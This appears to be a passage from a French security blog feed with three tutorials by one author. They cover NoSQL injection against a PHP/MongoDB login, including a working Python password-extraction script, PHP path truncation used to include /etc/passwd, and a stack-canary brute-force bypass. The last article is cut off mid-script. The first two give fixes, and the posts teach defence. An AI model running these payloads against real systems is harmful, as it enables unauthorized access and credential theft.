href="http://www.pronique.com/blog/installing-mongodb-on-windows-the-wamp-way">tutoriel</a> pour installer MongoDB sur Wamp, ainsi que <a href="http://www.9lessons.info/2013/01/mongodb-php-tutorial.html">celui ci</a> pour l'utilisation avec PHP.</p> <p>Entrons maintenant dans le vif du sujet.</p> <p>Tout le monde connait les <a href="https://www.dailysecurity.fr/images/sql_injection_comic_small.png">SQL injections</a>.</p> <p>Ces dernières reposent sur la création une requête SQL basée sur une string:</p> <div class="highlight"><pre><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39;</span><span class="si">$_GET[login]</span><span class="s2">&#39;&quot;</span><span class="p">;</span> </pre></div> <p>Avec $_GET[login] égale à ' OR '1'='1 cela donne:</p> <div class="highlight"><pre><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39; &#39; OR &#39;1&#39;=&#39;1&#39;&quot;</span><span class="p">;</span> </pre></div> <p>Rien de très nouveaux.</p> <p>Pour les NOSQL injections, la porte d'entrée passe par la création d'un tableau pour faire la requête, pour vous expliquer voici un script basique d'authentification avec MongoDB:</p> <div class="highlight"><pre><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$usr_name</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]);</span> <span class="nv">$usr_password</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]);</span> <span class="nv">$con</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span> <span class="c1">// Connexion a MongoDB</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$con</span><span class="p">)</span> <span class="c1">// Si la connexion a fonctionné</span> <span class="p">{</span> <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$con</span><span class="o">-&gt;</span><span class="na">test</span><span class="p">;</span> <span class="nv">$people</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">people</span><span class="p">;</span> <span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$people</span><span class="o">-&gt;</span><span class="na">findOne</span><span class="p">(</span><span class="nv">$qry</span><span class="p">);</span> <span class="c1">// Recherche de l&#39;utilisateur</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="c1">// Si les identifiants correspondes on connecte l&#39;utilisateur</span> <span class="p">{</span> <span class="k">echo</span><span class="p">(</span><span class="s2">&quot;Bienvenue Administrateur&quot;</span><span class="p">);</span> <span class="c1">// Zone Admin</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">&quot;Mongo DB not installed&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">echo</span><span class="s1">&#39;</span> <span class="s1"> &lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Login:</span> <span class="s1"> &lt;input type=&quot;text&quot; id=&quot;usr_name&quot; name=&quot;usr_name&quot; /&gt;</span> <span class="s1"> Password:</span> <span class="s1"> &lt;input type=&quot;password&quot; id=&quot;usr_password&quot; name=&quot;usr_password&quot; /&gt;</span> <span class="s1"> &lt;input name=&quot;submitForm&quot; id=&quot;submitForm&quot; type=&quot;submit&quot; value=&quot;Login&quot; /&gt;</span> <span class="s1"> &lt;/form&gt;</span> <span class="s1">&#39;</span><span class="p">;</span> </pre></div> <p>On ajoute un utilisateur dans la base de données:</p> <div class="highlight"><pre><span class="nv">$ </span>mongo MongoDB shell version: 2.6.7 connecting to: <span class="nb">test</span> Server has startup warnings: 2015-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face, 2015-02-22T00:57:09.521+0100 ** enabling http interface &gt; db.people.insert<span class="o">({</span>user:<span class="s2">&quot;Geluchat&quot;</span>,password:<span class="s2">&quot;mdp&quot;</span><span class="o">)</span><span class="p">;</span> WriteResult<span class="o">({</span> <span class="s2">&quot;nInserted&quot;</span> : <span class="m">1</span> <span class="o">})</span> </pre></div> <p>Tout est prêt, nous allons pouvoir procéder à notre première injection NOSQL.</p> <p>On passe usr_name[$ne]=h4cker&amp;usr_password[$ne]=h4xor grace à HackBar:</p> <p><img alt="Hackbar nosql" src="https://www.dailysecurity.fr/images/4QcrMsM.png"></p> <p>Nous voici désormais Administrateur.</p> <p>Maintenant, vous vous demandez: "Comment ça marche?".</p> <p>Selon la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB sur les opérateurs de requête</a> $ne correspond à "Différent de".</p> <p>Lorsque PHP crée la requête il utilise la fonction array(), qui nous permet de faire des array à partir d'array déjà existants.</p> <div class="highlight"><pre><span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> </pre></div> <p>Pour mieux comprendre, on fait un var_dump($qry), on obtient:</p> <div class="highlight"><pre><span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span> <span class="s1">&#39;user&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4cker&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">6</span><span class="p">)</span> <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4xor&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span> </pre></div> <p>Ce qui traduit en "Pseudo SQL" donne: "WHERE user!=h4cker and password!=h4xor".</p> <p>On a donc vu un exemple d'exploitation classique.</p> <p>Mais nous, ce qu'on veut, c'est récupérer le mot de passe administrateur.</p> <p>Malheureusement, nous ne disposons d'aucun affichage, il va donc falloir trouver un autre moyen d'accéder à ce mot de passe.</p> <p>Toujours dans la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB</a> on trouve $regex.</p> <p>Les fameuses regex vont donc pouvoir nous sauver, l'exploitation se fera en blind.</p> <p>Pour ceux qui ne comprennent rien au regex, ne vous inquiétez pas, je vais vous expliquer la construction de la requête:</p> <ul> <li>. : Représente n’importe quelle caractère</li> <li>caractère {un nombre} (ex: .{5}): Caractère fois le nombre</li> </ul> <p>Donc pour trouver la taille on cherche avec:</p> <div class="highlight"><pre><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> </pre></div> <p>On incrémente de 1 à chaque fois, jusqu'à ce que "Bienvenue Administrateur" apparaisse.</p> <p>Et on trouve:</p> <div class="highlight"><pre><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">3</span><span class="p">}</span> </pre></div> <p>Le mot de passe (mdp) fait bien 3 caractères.</p> <p>On procède de la même façon pour les caractères:</p> <div class="highlight"><pre><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">m</span><span class="o">.</span><span class="p">{</span><span class="mi">2</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">md</span><span class="o">.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">mdp</span> </pre></div> <p>J'ai codé un petit script en python qui fait le travail à notre place et voilà le travail:</p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># -*- coding: utf8 -*-</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="n">page</span> <span class="o">=</span> <span class="s">&quot;http://localhost/NOSQL/&quot;</span> <span class="n">taille</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="mi">1</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="s">&quot;.{&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s">&quot;}&quot;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s">&#39;hacker&#39;</span><span class="p">,</span> <span class="s">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">b</span><span class="s">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">==-</span><span class="mi">1</span> <span class="p">:</span> <span class="k">break</span> <span class="n">taille</span><span class="o">+=</span><span class="mi">1</span> <span class="n">taille</span><span class="o">-=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[+] Le password fait &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s">&quot; caracteres&quot;</span><span class="p">)</span> <span class="n">passwd</span><span class="o">=</span><span class="s">&quot;&quot;</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="n">length</span><span class="o">!=</span><span class="n">taille</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="n">passwd</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span><span class="o">+</span><span class="s">&#39;.{&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="s">&#39;}&#39;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s">&#39;hacker&#39;</span><span class="p">,</span> <span class="s">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="k">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">b</span><span class="s">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span> <span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">90</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">96</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">57</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">64</span> <span class="n">char</span><span class="o">+=</span><span class="mi">1</span> <span class="k">print</span><span class="p">(</span><span class="s">&quot;[+] Le password est: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">))</span> </pre></div> <div class="highlight"><pre><span class="gp">$</span> python NOSQL.py <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{3}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{4}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">[+] Le password fait 3 caracteres</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;0.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;L.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;M.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;N.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;O.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;k.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;l.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">m</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m1.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m2.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">md</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md1.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md2.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;mdp.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">mdp</span> <span class="go">[+] Le password est: mdp</span> </pre></div> <p>Pour patcher cette faille, une solution : la vérification grâce à la fonction is_array():</p> <div class="highlight"><pre><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]))</span> </pre></div> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les PATH truncations: The old one2015-02-06T11:35:00+01:002015-02-06T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-06:/les-path-truncations<p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois …</p><p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois chaotique de la mémoire liée à ce langage.</p> <p>Il parait donc tout à fait naturel que pour palier à ce problème les créateurs de ce langage aient dû s'orienter vers une gestion simplifiée de la mémoire paradoxalement au PHP qui est lui-même un langage très faiblement typé</p> <p>Passons donc au vif du sujet, les strings PHP, jusqu’à la version 5.3, peuvent supporter une chaîne de longueur maximum égal à 2^12 soit <a href="https://eklitzke.org/path-max-is-tricky">4096</a> caractères.</p> <p>Que se passe-t-il si l'on dépasse cette limite?</p> <p>Eh bien, PHP tronque tout simplement la chaîne. Comme à l’accoutumé, voici un exemple pour illustrer le principe et mettre en avant le problème:</p> <div class="highlight"><pre><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">&#39;/\x00/im&#39;</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="k">include</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]</span><span class="o">.</span><span class="s2">&quot;.php&quot;</span><span class="p">);</span> <span class="p">}</span> </pre></div> <p>Ce code comporte une LFI, on peut inclure n’importe quel fichier PHP ou lire le code via les wrappers php.</p> <p>De plus, le null byte étant filtré, on ne peut pas inclure un fichier qui ne comporte pas l'extension .php</p> <p>Comment faire?</p> <p>C'est là qu'intervient la PATH truncation, si l'on envoie une chaîne supérieure à 4096 le .php ne sera pas ajouter à la fin.</p> <p>A ce moment vous êtes sûrement en train de vous poser des questions sur l’intérêt d'une telle faille. En effet, comment une chaîne de plus de 4096 pourrait contenir notre chemin qui fait entre 50 et 100 caractères.</p> <p>En fait, la solution est très simple, il suffit d'analyser comment PHP fonctionne.</p> <p>PHP cherche à interpréter une chaîne basique:</p> <div class="highlight"><pre><span class="k">include</span><span class="p">(</span><span class="s2">&quot;admin.php&quot;</span><span class="p">);</span> </pre></div> <p>Il va tout d'abord chercher si le fichier admin.php puis l'inclure, cette procédure, rappelons-le, utilise des fonctions du langage C.</p> <p>Le C possède des conditions d'accès au fichier et de recherche de chemin très poussé et adaptative, il suffit donc de trouver un bypass fonctionnant en C.</p> <p>Après quelques recherches on résout le problème:</p> <div class="highlight"><pre>/etc/passwd/./././././././././././././[4096 plus tard]/. </pre></div> <p>Qui est traduit par:</p> <div class="highlight"><pre><span class="k">include</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">);</span> </pre></div> <p>Note: </p> <p><em>De plus, veillez bien à regarder la taille du chemin, elle doit rester impaire, admin.php fait 9 caractères, mais admin.php3 en fait 10.</em> <em>Cela implique que vous devez équilibrer le nombre de caractères du chemin sinon la troncation ne se fera pas correctement (par exemple: x/../admin.php3)</em> <em>Sous Windows on peut exploiter via les points (admin.php.............[4096]............)</em></p> <p>On a donc complètement bypass la pseudo vérification d'extension mise en place par le programmeur.</p> <p>Il faut bien sûr retenir de cette faille qu'elle n'est disponible que sur les versions inférieurs à 5.3 .</p> <p>Pour patcher cette faille il suffit donc tout simplement de mettre à jour son PHP par une version supérieure à la 5.3 .</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>La Stack Smashing Protection: Un canary infaillible?2015-02-04T13:57:00+01:002015-02-04T13:57:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-04:/la-stack-smashing-protection<p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE …</p><p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=&gt;strncpy).</p> <p>Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.</p> <p>Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.</p> <div class="highlight"><pre>+-------------------------+ | | | Save EIP | | | +-------------------------+ | | | Save EBP | | | +-------------------------+ | | | Padding | | | +-------------------------+ | | | Canary | | | +-------------------------+ | | | char badbuffer[64] | | | +-------------------------+ </pre></div> <p>On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).</p> <p>Pour mieux comprendre prenons l'exemple suivant:</p> <div class="highlight"><pre><span class="cp">#include &lt;stdlib.h&gt;</span> <span class="cp">#include &lt;stdio.h&gt;</span> <span class="cp">#include &lt;unistd.h&gt;</span> <span class="cp">#include &lt;memory.h&gt;</span> <span class="kt">void</span> <span class="nf">vuln</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">badbuffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">badbuffer</span><span class="p">,</span><span class="n">goodbuffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">pid</span><span class="p">,</span><span class="n">real_size</span><span class="p">;</span> <span class="kt">char</span> <span class="n">goodbuffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span> <span class="kt">char</span> <span class="n">size</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> <span class="c1">// On enleve le buffering de stdout</span> <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span> <span class="k">if</span><span class="p">(</span> <span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">);</span> <span class="c1">// On demande la taille de la chaine à recevoir</span> <span class="n">fgets</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="mi">4</span> <span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="n">real_size</span><span class="o">=</span><span class="n">atoi</span><span class="p">(</span><span class="n">size</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">);</span> <span class="n">fgets</span><span class="p">(</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="n">real_size</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="n">goodbuffer</span><span class="p">[</span><span class="n">real_size</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">vuln</span><span class="p">(</span><span class="o">&amp;</span><span class="n">goodbuffer</span><span class="p">,</span> <span class="n">real_size</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="c1">// Fonction vulnérable</span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Done</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">wait</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </pre></div> <p>Le <a href="https://media.blackhat.com/bh-us-10/whitepapers/Le/BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits-wp.pdf">ROP</a> n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).</p> <div class="highlight"><pre><span class="gp">root@Geluchat:~#</span> <span class="nb">echo </span><span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space <span class="c"># Desactive l&#39;ALSR</span> <span class="gp">root@Geluchat:~#</span> gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32 <span class="gp">root@Geluchat:~#</span> chmod +x SSPbypass <span class="gp">root@Geluchat:~#</span> ./SSPbypass </pre></div> <p>A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:</p> <div class="highlight"><pre><span class="go">*** stack smashing detected ***: SSPbypass - terminated</span> <span class="go">SSPbypass: stack smashing attack in function - terminated</span> </pre></div> <p>Et bien sûr notre exploitation échoue.</p> <p>Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.</p> <p>En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.</p> <p>Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.</p> <p>La bonne méthode est donc ailleurs.</p> <p>Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:</p> <ul> <li>Nous pouvons le deviner octet par octet à la manière d'une SQL Blind.</li> <li>Nous savons aussi que le programme proposé plus haut retourne la chaine "Done" quand tout s'est bien déroulé et rien quand on a écrasé le canary.</li> <li>Si le premier octet du canary est égal à 0x61 il ne retournera pas la chaine tant qu'on ne lui envoie pas 0x61.</li> <li>Un appel à la fonction fork() copie le canary, il reste donc le même à chaque connexion tant que le programme n'est pas fini.</li> </ul> <p>On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:</p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python</span> <span class="c"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span 